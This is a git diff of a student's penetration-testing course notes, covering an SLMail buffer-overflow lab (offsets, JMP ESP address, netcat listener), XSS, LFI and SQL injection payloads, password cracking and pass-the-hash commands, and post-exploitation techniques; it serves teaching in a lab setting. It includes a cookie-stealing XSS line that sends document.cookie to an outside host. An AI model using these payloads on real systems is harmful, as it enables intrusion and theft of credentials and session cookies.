a/Penetration Testing/Exploitation Assignment/Discovery.md +++ b/Penetration Testing/Exploitation Assignment/Discovery.md @@ -3,4 +3,3 @@ - Created pattern of 2900 bytes, created slmail.py - ![](Pasted%20image%2020250131145917.png) -- \ No newline at end of file diff --git a/Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md b/Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md new file mode 100644 index 0000000..e52e0a3 --- /dev/null +++ b/Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md @@ -0,0 +1,9 @@ +- In OWASP Broken Web Applications Project, use either the + - OWASP Mutillidae II + - or DVWA +- Demonstrate you can obtain a shell with the following + - An LFI vulnerability in the web application with file upload; + - An LFI vulnerability in the web application with contaminated logs; and + - An RFI vulnerability in the web application. +- Demonstrate attacks using SQL injection and Cross Site Scripting +- Provide documentation and proof of useful attacks in your report \ No newline at end of file diff --git a/Penetration Testing/Reconnaissance Assignment/Stage 1 - RoE.md b/Penetration Testing/Reconnaissance Assignment/Stage 1 - RoE.md index 985ac10..2037c2b 100755 --- a/Penetration Testing/Reconnaissance Assignment/Stage 1 - RoE.md +++ b/Penetration Testing/Reconnaissance Assignment/Stage 1 - RoE.md @@ -1,11 +1,9 @@ -- “Scope” - describe what you intend to do and what you are aiming to find -- “Permission to test” - outline why you believe this is a legal and ethical thing for you to -do in this assignment (or describe if you have to do it in a particular way in order to make -sure you stay legal and ethical even if this will limit the amount of information that you +- “Scope” - describe what you intend to do and what you are aiming to find +- “Permission to test” - outline why you believe this is a legal and ethical thing for you to +do in this assignment (or describe if you have to do it in a particular way in order to make +sure you stay legal and ethical even if this will limit the amount of information that you are able to find - - | Action No | Scope: Summary of Intention | Permission to Test: Outline of Legal and Ethical Justification | Allow/Reject | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | | 1 | I would use WHOIS / Recon-NG to find website registrar identities and the ASN of the company. This would provide me with a list of identities, and their emails, that may have access to infrastructure, or elevated permissions. | I believe this is legal as WHOIS is a public database of registrar information. No information found through WHOIS is sensitive, and has been published by the company, rather than found - no ethical issues with WHOIS | | diff --git a/Penetration Testing/Week 11/Lecture 11 - Enumeration.md b/Penetration Testing/Week 11/Lecture 11 - Enumeration.md index a0627a6..bbbf971 100755 --- a/Penetration Testing/Week 11/Lecture 11 - Enumeration.md +++ b/Penetration Testing/Week 11/Lecture 11 - Enumeration.md @@ -43,4 +43,4 @@ Key component of ethical hacking and pentesting. - ls - list items in directory - enumdesktops - list all accessible desktops - screenshot - grab screenshot of meterpreter desktop -- idletime - checks how long target has been idle \ No newline at end of file +- idletime - checks how long target has been idle diff --git a/Penetration Testing/Week 15/Week 15 - Buffer Overflow.md b/Penetration Testing/Week 15/Week 15 - Buffer Overflow.md index 54d5fb0..62312ab 100644 --- a/Penetration Testing/Week 15/Week 15 - Buffer Overflow.md +++ b/Penetration Testing/Week 15/Week 15 - Buffer Overflow.md @@ -35,30 +35,34 @@ If source code not available: - ESP - Stack pointer (last item on the stack) - EBP - Stack frame base pointer and reference to arguments and local variables - EIP - Pointer to the next instruction to execute (“instruction pointer”) + ### Segment Registers -- CS : Holds the address to the Code segment of the program -- DS : Holds the address to the Data segment of the program -- SS : Holds the address to the Stack segment of the program + +- CS : Holds the address to the Code segment of the program +- DS : Holds the address to the Data segment of the program +- SS : Holds the address to the Stack segment of the program - ES,FS,GS : Hold the address to the extra segments ### Flags -- Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise. -- Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value) -- Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise -- Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise. -- Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic. +- Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise. +- Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value) +- Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise +- Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise. +- Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic. - ![](Pasted%20image%2020250116093127.png) ### Push / Pop -PUSH src -- src operand can be a register or immediate -- In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4 + +PUSH src + +- src operand can be a register or immediate +- In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4 POP src -- Src operand can be a register +- Src operand can be a register - In a DWORD scenario, the POP instruction automatically takes a DWORD off the stack, puts in a register and increments the stack pointer by 4, i.e., sp <- sp+4 #### Examples of PUSH / POP + ![](Pasted%20image%2020250116093226.png) ![](Pasted%20image%2020250116093312.png) - diff --git a/Penetration Testing/Week 19/AI Summary.md b/Penetration Testing/Week 19/AI Summary.md index 5f4187c..2c51f6a 100644 --- a/Penetration Testing/Week 19/AI Summary.md +++ b/Penetration Testing/Week 19/AI Summary.md @@ -1,53 +1,53 @@ 1. **Introduction** - + - Definition and reminder of key concepts from the previous week: - Buffer Overflow: A process using more memory than it has been allocated. - The Stack: Last-In-First-Out (LIFO) data structure where CPU registers can be stored and retrieved. - ESP (Extended Stack Pointer): Points to the top of the stack at a lower memory location. - EIP (Extended Instruction Pointer): Stores the address of the next instruction to be executed. 2. **Fuzzing** - + - Fuzzing involves sending malformed data into an application input and watching for unexpected crashes. - It helps discover vulnerabilities by sending varying lengths of data to identify buffer overflow conditions. - - Fuzzing tools and resources: FuzzDB (https://github.com/fuzzdb-project/fuzzdb). + - Fuzzing tools and resources: FuzzDB (). 3. **Fuzzing Example: SLMail 5.5.0 Mail Server** - + - Installed the vulnerable SLMail application. - Used a Python fuzzer script (`fuzzer.py`) from Kali Linux to send varying-length passwords to the POP3 server. - Employed Immunity Debugger to monitor the SLMail process and observe the stack overwrites. 4. **Controlling EIP (Extended Instruction Pointer)** - + - Sent a unique, non-repeating string of 2900 bytes to identify the specific characters that overwrite the EIP register. - Used Metasploit’s `pattern_create.rb` and `pattern_offset.rb` scripts to find the exact position of the overwritten EIP. - Modified the buffer in the Python exploit script to control the EIP register: `buffer = "A" * 2606 + "B" * 4 + "C" * 90`. 5. **Find Space in Memory for Shellcode** - + - Dumped the memory at the time of the crash to identify a suitable location for placing shellcode. - Used Metasploit’s `msfvenom` tool to generate a payload for a reverse shell, ensuring it excluded bad characters identified earlier. - Increased the length of the buffer to accommodate the generated shellcode. 6. **The Problem of Bad Characters** - + - Identified bad characters (e.g., null byte `0x00`, newline `\n` `0x0A`, carriage return `\r` `0x0D`) that could truncate the shellcode or cause other issues. - Sent all possible characters (0x00 to 0xff) as part of the buffer and observed how they were dealt with by the application after the crash. 7. **Generating the Shellcode Payload** - + - Used Metasploit’s `msfvenom` tool to generate a shellcode payload with excluded bad characters. - Included the generated shellcode payload into the Python exploit script. 8. **Redirecting the Execution Flow** - + - Searched for a “JMP ESP” instruction or the two-instruction sequence “PUSH ESP; RET” within SLMail’s modules using Immunity Debugger and Mona.py script. - Found a suitable JMP ESP instruction at address `5F4A358F` in the SLMFC.DLL module. - Replaced the overwritten EIP ("B"s) with the discovered JMP ESP address in the exploit script. 9. **NOP Sled** - + - Added a sequence of No Operation (NOP) instructions (`0x90`) at the beginning of the shellcode to create a “NOP sled.” - This allowed for some flexibility in transferring execution to the shellcode without precisely controlling branching. 10. **Getting a Shell** - + - Set up a netcat (nc) listener on the attacker machine to receive incoming connections from the exploited target. - Ran the exploit script against the SLMail application, and upon successful exploitation, obtained a shell on the target machine. 11. **Assignment Task 1** - + - Students were tasked to develop a working exploit for the `VulnNewApp.exe` application using the provided proof-of-concept script (`vulnapp_POC_script.txt`) and document their process in a report, including screenshots of each step. -Throughout the lecture slides, the document emphasizes hands-on learning and practical exercises using tools like Kali Linux, Immunity Debugger, Metasploit Framework, and Python scripting. It covers essential concepts in exploit development, buffer overflows, and fuzzing to help students understand and apply these techniques in network penetration testing. \ No newline at end of file +Throughout the lecture slides, the document emphasizes hands-on learning and practical exercises using tools like Kali Linux, Immunity Debugger, Metasploit Framework, and Python scripting. It covers essential concepts in exploit development, buffer overflows, and fuzzing to help students understand and apply these techniques in network penetration testing. diff --git a/Penetration Testing/Week 19/Steps to Complete Workshop 2.md b/Penetration Testing/Week 19/Steps to Complete Workshop 2.md index 525b021..6c62431 100644 --- a/Penetration Testing/Week 19/Steps to Complete Workshop 2.md +++ b/Penetration Testing/Week 19/Steps to Complete Workshop 2.md @@ -9,7 +9,7 @@ - Start SLmail on Windows 7 VM. - Run Immunity Debugger as an administrator. To make the font more legible, right-click on the black area > appearance > font > OEM. 4. **Attach SLmail to ID:** - - In Immunity Debugger, go to `File > Attach...`, select the SLmail process, and click 'Open'. + - In Immunity Debugger, go to `File > Attach…`, select the SLmail process, and click 'Open'. - Set the debugger to "Running" state by clicking on the "Running" button in the toolbar. 5. **Run the fuzzer:** - Open a terminal on Parrot OS and navigate to the scripts directory. @@ -41,10 +41,10 @@ - Use `!mona find -s "\xff\xe4" -m slmfc.dll` to search for the FF E4 opcode in slmfc.dll and choose an address (e.g., `0x5f4a358f`) as the new EIP. 14. **Prepare exploit script:** - Replace `Bs` in the exploit script (e.g., `exploit.rb`) with the address chosen earlier. - - Add a NOP sled (e.g., `\x90` _16_) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout. + - Add a NOP sled (e.g., `\x90` *16*) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout. - The exploit script should look something like this: `"\x90" * 16 + "\xff\x\xe4" + "\xbe\xxx\xxxx\xxx\xxx"`. Replace `Bs` with the chosen address. 15. **Start netcat listener:** - On Parrot OS, run `nc -lvp 443` to start a netcat listener on port 443. 16. **Run exploit:** - Execute the prepared exploit script with `ruby exploit.rb 49500`. - - Once the exploit triggers, you should get a shell on the Windows 7 VM. \ No newline at end of file + - Once the exploit triggers, you should get a shell on the Windows 7 VM. diff --git a/Penetration Testing/Week 19/Week 19 - Buffer Overflow.md b/Penetration Testing/Week 19/Week 19 - Buffer Overflow.md index 884a95a..52eb617 100644 --- a/Penetration Testing/Week 19/Week 19 - Buffer Overflow.md +++ b/Penetration Testing/Week 19/Week 19 - Buffer Overflow.md @@ -6,14 +6,15 @@ Stack = LIFO structure where CPU registers are stored at and retrieved from Can inject malicious code using buffer overflow # Fuzzing -- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly. -- To develop an exploit for application X on OS Y, +- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly. +- To develop an exploit for application X on OS Y, - X, Y and debugger needed on same VM - Another VM to fuzz the target VM - Cant do remotely on running server (though if developed correctly, exploit should work on any instance of application X running on OS Y) ## SLMail + Using a python script, we can repeatedly connect to the POP3 server, attempting to send varying length growing buffer to the password field each time Unauthenticated user can attempt to login providing a long password. @@ -23,20 +24,18 @@ The EIP register has been overwritten with opur input buffer of A's (\\x41) As EIP register controls execution flow of application, if we make our exploit buffer carefully, could divert execution of the program to a place in memory where reverse shell code can be introduced in memory. ## Controlling EIP + - Getting control of the EIP register is an important part of exploit development - Need to find out which A characters ended up in the EIP and identify the location of 4 unique bytes that overwrite the EIP Register. - Can send 2900 bytes of unique non-repeating characters. - User pattern_create.rb script in Kali to generate such a string: - `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900` - - Using this unique stream of characters, instead of our 2900 A's into our python script, check EIP overwrite in debugger. - Note ESP and EIP register values in next crash - EIP has been replaced by the 39694438 hex characters, equivalent to 8Dj9 - - We need to find exact position of these characters. - Can now use the pattern_offset.rb script along with the create script to discover the offset of these specific 4 bytes in our unique byte string. - `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 39694438` - - Sending this new buffer to SLMail POP3 server produces a crash in the debugger. - Check ESP and EIP registers - This time ESP has different value to first crash @@ -44,7 +43,8 @@ As EIP register controls execution flow of application, if we make our exploit b - How to direct execution flow? - Would like to include our own shell code inside buffer and redirect program flow to execute our shell code. -### Find Space in memory for Shell Code +### Find Space in Memory for Shell Code + - By dumping memory at time of crash, ESP register points directly to beginning of our buffer of C's. Seems like a convenient location to place shellcode as easily accessible through EIP register. - Metasploit framework can automatically generate shellcode payloads, standard Reverse Shell payload requires around 350-400 bytes of space. - Need to increase length of buffer to make room for reverse shell. @@ -57,11 +57,10 @@ As EIP register controls execution flow of application, if we make our exploit b - Depending on application, vuln type, and protocols, there may be certain characters that are considered bad and should not be used in our buffer, return address or shell code. - Common example is null (0x00). Characters truncate shellcode in memory - Easy way to check this is sending all possible characters, from 0x00 to 0xff as a part of our buffer and see how these characters are dealt with by the application after the crash occurs. - - A file containing all the possible hex characters can be found on Blackboard. - When including these in python exploit code, we will see the characters that get truncated in Immunity Debugger - One observation is that resulting memory dump for the ESP register shows that the character 0x0A seems to have truncated the rest of the buffer than comes after it. ### Generating Shellcode Payload -- Metasplot Framework provides us with tools and utilities that make generating complex payloads a simple task. \ No newline at end of file +- Metasplot Framework provides us with tools and utilities that make generating complex payloads a simple task. diff --git a/Penetration Testing/Week 20/Week 20 - Web Attacks.md b/Penetration Testing/Week 20/Week 20 - Web Application Attacks.md similarity index 99% rename from Penetration Testing/Week 20/Week 20 - Web Attacks.md rename to Penetration Testing/Week 20/Week 20 - Web Application Attacks.md index c26599b..5219297 100644 --- a/Penetration Testing/Week 20/Week 20 - Web Attacks.md +++ b/Penetration Testing/Week 20/Week 20 - Web Application Attacks.md @@ -81,16 +81,19 @@ Malicious script sent to user - Recommendations for session IDs (OWASP) ### Method + Log in to application Provide service, user stays logged in Email info about session ID Other user can access website as first user ### Fixes + - Authentication linked to time - OWASP recommendations followed - Link session ID to IP address, TLS session, etc. Reconnaissance Assignment + ## [OWASP Top-10](https://owasp.org/Top10/) Web Application Risks (as of 2017): - Injection, Broken Authentication, Sensitive Data Exposure, XML External Entity (XXE), Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, Using Components with Known Vulnerabilities, Insufficient Logging & Monitoring @@ -109,4 +112,4 @@ Tampering - Can an attacker modify data as an application runs? Repudiation - If an attacker denies interaction, can we prove it? Information Disclosure - Can an attacker gain PII? Denial of Service - Can an attacker crash or reduce availability? -Elevation of Privilege - Can an attacker assume the identity of a privileged user? \ No newline at end of file +Elevation of Privilege - Can an attacker assume the identity of a privileged user? diff --git a/Penetration Testing/Week 21/Public Exploitation Workshop.md b/Penetration Testing/Week 21/Public Exploitation Workshop.md new file mode 100644 index 0000000..da5c937 --- /dev/null +++ b/Penetration Testing/Week 21/Public Exploitation Workshop.md @@ -0,0 +1 @@ +![](Pasted%20image%2020250207142220.png) diff --git a/Penetration Testing/Week 21/Week 21 - Exploits and Post-Exploitation.md b/Penetration Testing/Week 21/Week 21 - Exploits and Post-Exploitation.md new file mode 100644 index 0000000..46d6b2f --- /dev/null +++ b/Penetration Testing/Week 21/Week 21 - Exploits and Post-Exploitation.md @@ -0,0 +1,90 @@ +**Slide 1: Penetration Testing Process** + +- **Phases of Penetration Testing**: + - Pre-engagement (1) + - Agreement on rules of engagement, scope, and objectives. + - Intelligence gathering (2) + - Passive reconnaissance: Information collected without interacting with the target. + - Tools: Search engines, social media, DNSdumpster, etc. + - Active reconnaissance: Information collected by interacting with the target. + - Tools: Nmap, Zenmap, Wireshark, etc. + - Threat modeling (3) + - Identifying potential threats and vulnerabilities in the target system. + - Vulnerability scanning (4) + - Automated testing to identify vulnerabilities in the target system. + - Tools: Nessus, OpenVAS, etc. + - Exploitation (5) + - Using exploits to gain unauthorized access to the target system. + - Tools: Metasploit, Burp Suite, etc. + - Post-exploitation (6) + - Maintaining access to the target system and gathering sensitive information. + - Tools: Mimikatz, BloodHound, etc. + +**Slide 2: Public Exploits** + +- **Finding reliable exploits**: + - SecLists () + - Exploit-DB () +- **Offline exploit DB in Kali**: + - `searchsploit` command + ``` + searchsploit + ``` + +**Slide 3: Compiling Exploits** + +- **Cross-compiling for Windows**: + - Use `gcc` with specific flags to compile for Windows. + ``` + gcc -o exploit.exe exploit.c -m64 -lwininet + ``` +- **Lab Activity**: Fix and compile `646.c` to exploit SLMail on Windows 7 lab machine. + +**Slide 4: Penetration Testing Execution Standard (PTES)** + +- **Phases of PTES**: + - Pre-engagement + - Intelligence gathering + - Threat modeling + - Vulnerability scanning + - Exploitation + - Post-exploitation + - Reporting + +**Slide 5: Post-Exploitation** + +- **Goals of post-exploitation**: + - Determine the value of the compromised machine. + - Maintain control for later use. + - Identify and document sensitive data. + - Set up access methods for later use. + +**Slide 6: Infrastructure Analysis** + +| Category | Information to gather | +| --- | --- | +| Network information | Configuration, interfaces, routing, DNS servers, ARP entries, proxy servers, listening services, neighbour discovery protocols, wireless keys | +| Pillaging | Startup items, login items, security services, file and print shares, databases, source code management systems, virtualisation, messaging systems, backup systems | +| Documents | Spreadsheets, word documents, databases, password files | +| History | Command history, USB activity, web history, patching history; log files, bookmarks | +| Monitoring | Key logging, screen capture, webcam access, network traffic capture | + +**Slide 7: Escalation and Persistence** + +- **Privilege escalation techniques**: + - Exploit higher privileged process. + - Inject into higher privileged DLL. + - Overwrite higher privileged executable file. + - Trojan, rootkits, backdoor account/service. +- **Persistence techniques**: + - Reverse shell to single IP. + - Backdoor service that survives reboot. + +**Slide 8: Moving Things Around** + +- **Uploading/downloading files**: + - Use FTP with Kali acting as an FTP server. +- **Privilege escalation example**: + - `useradd.c` exploit for Windows 7 lab machine. + +**Exercise**: Complete the lab activity on privilege escalation using `useradd.c` and verify high privilege access. \ No newline at end of file diff --git a/Penetration Testing/Week 22/Week 22 - Web Attacks.md b/Penetration Testing/Week 22/Week 22 - Web Attacks.md new file mode 100644 index 0000000..7d415b1 --- /dev/null +++ b/Penetration Testing/Week 22/Week 22 - Web Attacks.md @@ -0,0 +1,81 @@ +**Slide 1: Web Application Attacks** +- **Web applications** can be written in various languages, each with its specific vulnerability classes. +- Main attack vectors are similar in concept. +- OWASP promotes security awareness and solutions for web application development. + +**Slide 2: OWASP Top-10 Security Risks** + +| Risk | Description | +| --- | --- | +| A1:2017 - Injection | Attacker can add malicious SQL, NoSQL, or command strings. | +| A2:2017 - Broken Authentication | Compromised credentials, weak defaults, or exposed keys. | +| A3:2017 - Sensitive Data Exposure | Unprotected data at rest or in transit. | +| A4:2017 - XML External Entity (XXE) | Attacker can exploit parsing of XML outside the standard. | +| A5:2017 - Security Misconfiguration | Default configurations, open cloud storage, misconfigured HTTP headers. | +| A6:2017 - Using Components with Known Vulnerabilities | Outdated or vulnerable libraries and frameworks. | +| A7:2017 - Insufficient Logging & Monitoring | Lack of logging and monitoring prevents detection of attacks. | +| A8:2017 - Insecure Deserialization | Vulnerable deserialization can lead to remote code execution. | +| A9:2017 - Using Known Vulnerable Components without Patching | Outdated software with known vulnerabilities. | +| A10:2017 - Insufficient Transport Layer Protection | Weak or no encryption, allowing man-in-the-middle attacks. | + +**Slide 3: Cross-Site Scripting (XSS)** +- Unsanitized user input displayed as HTML. +- Allows malicious scripts to run in victim's browser. + - Reflected (non-persistent): injected script runs immediately when the victim clicks the link. + - Stored (persistent): web application delivers payload to the victim, script runs when viewed. +- Impact: cookie stealing, authentication bypass, redirection. + +**Slide 4: XSS Example** +- Reflected XSS: + +```html +

XSS demo

+ +``` + +- Stored XSS: + +```html + +``` + +**Slide 5: Cookie Stealing via XSS** +- JavaScript can make victim's browser send cookies to the attacker. + +```javascript +new Image().src="http://example.com/bogus.php?output="+document.cookie; +``` + +**Slide 6: File Inclusion Vulnerabilities** +- Local File Inclusion (LFI) and Remote File Inclusion (RFI): + - LFI: includes local files. + - RFI: introduces own code to the webserver. +- Exploit depends on PHP versions and web server configurations. + +**Slide 7: LFI Demonstration** +- Unsanitized `lang` parameter: + +```php + +``` + +- Payload: + +```bash +../uploads/avatars/image.jpg%00&cmd=ifconfig +``` + +**Slide 8: SQL Injection** +- Unsanitized user input passed to a database query. +- Manipulating data can change the nature of the query. +- Examples: + - Bypassing authentication with `' OR '1'='1` + - Extracting data using `' union select * from information_schema.columns --` + +**Exercise:** +- Using OWASP Broken Web Applications project, demonstrate obtaining a shell with: + - An LFI vulnerability in the web application with file upload. + - An LFI vulnerability in the web application with contaminated logs. + - An RFI vulnerability in the web application. +- Demonstrate attacks using SQL injection and Cross Site Scripting (XSS). +- Provide documentation and proof of useful attacks in your report. diff --git a/Penetration Testing/Week 23/Week 23 - Password Attacks.md b/Penetration Testing/Week 23/Week 23 - Password Attacks.md new file mode 100644 index 0000000..d106dcb --- /dev/null +++ b/Penetration Testing/Week 23/Week 23 - Password Attacks.md @@ -0,0 +1,44 @@ +**Slide 1: Password Attacks** +- People are not good at remembering passwords, choosing easy ones (e.g., 123456), and reusing them. +- Password entropy increases with length and character variation. Longer passwords and those with mixed characters (upper/lowercase, numbers, special symbols) have more entropy. +- Using password managers and multi-factor authentication is recommended. + +**Slide 2: Real-World Password Attacks** +- Most common attacks target weak or default user/system passwords. +- Brute force and dictionary attacks are common. Tools like `medusa` and `ncrack` automate these attacks. +- Online password attacks target networked services like HTTP, SSH, FTP, SNMP, RDP. +- Offline password attacks use captured password files and tools like `john the ripper`. +- Key space brute force generates all possible combinations of characters for a given set and length. +- Social engineering and shoulder-surfing can also be used. + +**Slide 3: Online Password Attacks Example** +- Example of an HTTP brute force attack using `medusa` against a protected web directory. +- Command: `medusa -h -u -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/npttest -T 10 -s` +- Lessons: Be suspicious of the first password in a list, and don't put the correct one at the beginning when setting up demos. + +**Slide 4: Key Space Brute-Force** +- `crunch` tool generates custom wordlists with defined character sets and password formats. + - Example: `crunch 6 6 0123456789ABCDEF -o test.txt` generates a list of 6-character hexadecimal passwords. +- Password length quickly becomes unmanageable with more characters. + +**Slide 5: John the Ripper Offline Cracking Tool** +- `john` supports automatic mode, dictionary mode (using wordlists), and mangling rules. +- Example commands: + - Automatic mode: `john ` + - Dictionary mode: `john --wordlist=/usr/share/wordlists/rockyou.txt ` + - Mangling rules: `john --rules --wordlist=/usr/share/wordlists/rockyou.txt ` + +**Slide 6: In-memory Attacks** +- Abusing OS handling of passwords, particularly useful for Windows due to shared identities. +- `pwdump` tool dumps SAM hashes by injecting a DLL into the LSASS process. + +**Slide 7: Passing the Hash in Windows** +- Pass-The-Hash (PTH) allows authentication using hashes rather than passwords. +- `exploit/windows/smb/psexec` exploit with a reverse TCP meterpreter payload can be used for PTH. + +**Slide 8: Task 3 – Password Attack** +- Demonstrate various password attacks using different tools. +- Target at least two protocols (e.g., HTTP, FTP, SSH, RDP). +- Crack provided offline password hashes using wordlists and `crunch`. +- Crack a password-protected Word file, `TradeSecret.docx`, using office2john or zip2john. +- Perform an in-memory attack using PTH to authenticate into the Windows XP system. diff --git a/Penetration Testing/Week 4/Week 4 - Pre-Engagement.md b/Penetration Testing/Week 4/Week 4 - Pre-Engagement.md index 163edd7..79cef60 100755 --- a/Penetration Testing/Week 4/Week 4 - Pre-Engagement.md +++ b/Penetration Testing/Week 4/Week 4 - Pre-Engagement.md @@ -1,12 +1,15 @@ # Requirements + Scope -- What will be tested + +- What will be tested - Start and End dates - Customer Objectives - Strategic and Operational goals - Ensure requirements and expectations of customers being met Rules of Engagement + - Detailed stages - Who is authorised - On or off site @@ -26,7 +29,6 @@ Legal Signoff - Data aggregation - Data exfil - Immature (NIST T1) would benefit from a vulnerability analysis than a full pentest - - Identify outsourced services - In scope? - Permission? @@ -43,7 +45,7 @@ Legal Signoff - Why customer has pentest performed against env? - Required for compliance? - When does customer want active testing conducted? - - During business hours or out? + - During business hours or out? - How many IPs tested (internal/external) - How should testing team proceed if vulnerability found? @@ -90,7 +92,7 @@ Legal Signoff # Questions -## For company +## For Company - Manage aware? - Main datum that would create greatest risk to organisation if exposed, corrupted or deleted? @@ -98,4 +100,4 @@ Legal Signoff - If no ISMS, lack maturity for test to be meaningful. - Testing and validations procedures to verify applications functioning in place? - Testers have access to QA testing procedures from when application developed? -- Disaster Recovery Procedures in place for application data. \ No newline at end of file +- Disaster Recovery Procedures in place for application data. diff --git a/Penetration Testing/Week 4/Workshop 4 - Google Dorking.md b/Penetration Testing/Week 4/Workshop 4 - Google Dorking.md index 978f1ae..a6e5939 100755 --- a/Penetration Testing/Week 4/Workshop 4 - Google Dorking.md +++ b/Penetration Testing/Week 4/Workshop 4 - Google Dorking.md @@ -7,6 +7,4 @@ `(inurl:login.cgi OR inurl:login.php OR inurl:login.js) AND site:ac.uk AND password` ![](Pasted%20image%2020241011140717.png) - -1. https://hub.salford.ac.uk/sbs-disruptive-technologies/events/ -2. \ No newline at end of file +1. diff --git a/Penetration Testing/Week 5/Lecture 5 - Reconnaisance.md b/Penetration Testing/Week 5/Lecture 5 - Reconnaisance.md index 1b90758..5be3538 100755 --- a/Penetration Testing/Week 5/Lecture 5 - Reconnaisance.md +++ b/Penetration Testing/Week 5/Lecture 5 - Reconnaisance.md @@ -1,4 +1,5 @@ # Intelligence Gathering + - More information gathered, more vectors of attack may be able to use - Better knowledge of target, more likely to succeed - Better target company knows what is common knowledge, better it can prepare. @@ -21,7 +22,7 @@ # Limits - Gathering information to identify entry points - - physical, electronic, human... + - physical, electronic, human… - and try to map out internal structure - physical, network, organisational - and external dependencies @@ -53,7 +54,7 @@ - Have a deadline - Make sure time allocated to use intelligence -# Passive vs Active Reconnaissance +# Passive Vs Active Reconnaissance ## Passive @@ -80,12 +81,11 @@ - Passive recon using OSINT sources - Include some semi-passive recon - Write report, outlining what has been found and why company should be aware. - - Look for: - Corporate - Personal - Technical information -- http://www.pentest-standard.org/index.php/Intelligence_Gathering +- ## How to Obtain Information @@ -104,4 +104,3 @@ - Some tools rely on network inspection between you and target - "Active Packet Sniffing" means specific things cause traffic to flow to you - "Passive Packet Sniffing" means you inspect the traffic that happens to come past sniffer. -- \ No newline at end of file diff --git a/Penetration Testing/Week 6/Lecture 6 - Threat Modelling.md b/Penetration Testing/Week 6/Lecture 6 - Threat Modelling.md index 6c3076a..227fe83 100755 --- a/Penetration Testing/Week 6/Lecture 6 - Threat Modelling.md +++ b/Penetration Testing/Week 6/Lecture 6 - Threat Modelling.md @@ -2,6 +2,7 @@ Identifying vulnerabilities leading to compromise, or mission objectives, identi Identify attack surface presented to outside actors, bigger surface, bigger risk. Create clear scenarios relevant to organisation. Provides clarity to risk appetite and prioritisation. + - Importance of assets - Threat community relevance Emulates tools, techniques, capabilities, accessibility and general profile of attacker @@ -107,4 +108,4 @@ and2 --- xss[/XSS Vulnerability\] ### Asset-Centric Example -![](Pasted%20image%2020241024094143.png) \ No newline at end of file +![](Pasted%20image%2020241024094143.png) diff --git a/Penetration Testing/Week 7/Lecture 7 - Vulnerability Scanning.md b/Penetration Testing/Week 7/Lecture 7 - Vulnerability Scanning.md index 069405b..0a445ac 100755 --- a/Penetration Testing/Week 7/Lecture 7 - Vulnerability Scanning.md +++ b/Penetration Testing/Week 7/Lecture 7 - Vulnerability Scanning.md @@ -14,18 +14,20 @@ Operational Vulnerability is likely the worst # Quantification of Vulnerabilities CVSS: Common Vulnerability Scoring System + - Uses principle characteristics of a vulnerability to produce a numerical score reflecting severity. Can be translated into qualitative representation (low->critical) to help organisations assess and prioritise vulnerability management processes -- https://www.first.org/cvss +- # Attack Patterns CAPEC: Common Attack Pattern Enumeration and Classification + - Catalogue of common attack patterns that helps users understand how adversaries exploit weaknesses in applications and other capabilities. -- https://capac.mitre.org/ +- # Search for Vulnerabilities -- https://cvedetails.com +- # Vulnerability Scanning @@ -34,4 +36,3 @@ CAPEC: Common Attack Pattern Enumeration and Classification - Can generate alot of traffic, and may result in denial of service on many devices. ## Nessus - diff --git a/Penetration Testing/Week 7/Workshop 7 - ping and traceroute.md b/Penetration Testing/Week 7/Workshop 7 - ping and traceroute.md index 2ea8d12..5c7ff77 100755 --- a/Penetration Testing/Week 7/Workshop 7 - ping and traceroute.md +++ b/Penetration Testing/Week 7/Workshop 7 - ping and traceroute.md @@ -1,10 +1,12 @@ ## Cogent Frankfurt -> remote.salford.ac.uk + Cogent [AS174](https://bgp.he.net/AS174) Arelion [AS1299](https://bgp.he.net/AS1299) JISC (Salford Edge) [AS786](https://bgp.he.net/AS786) remote.salford.ac.uk (Announced by JISC) [AS786](https://bgp.he.net/AS786) ## Hetzner -> remote.salford.ac.uk + Hetzner [AS24940](https://bgp.he.net/AS24940) core-backbone [AS201011](https://bgp.he.net/AS201011) LINX London [AS3491](https://bgp.he.net/AS3491) diff --git a/README.md b/README.md index e69de29..8b13789 100755 --- a/README.md +++ b/README.md @@ -0,0 +1 @@ + diff --git a/Software Project with Agile Techinques/Assignment/Assignment 1.md b/Software Project with Agile Techinques/Assignment/Assignment 1.md index 9c492b8..6ad370c 100755 --- a/Software Project with Agile Techinques/Assignment/Assignment 1.md +++ b/Software Project with Agile Techinques/Assignment/Assignment 1.md @@ -16,7 +16,7 @@ Occasionally a *maintenance engineer* needs to **sign parts** back into the CSW. `Whenever a new part is installed in the power station an old 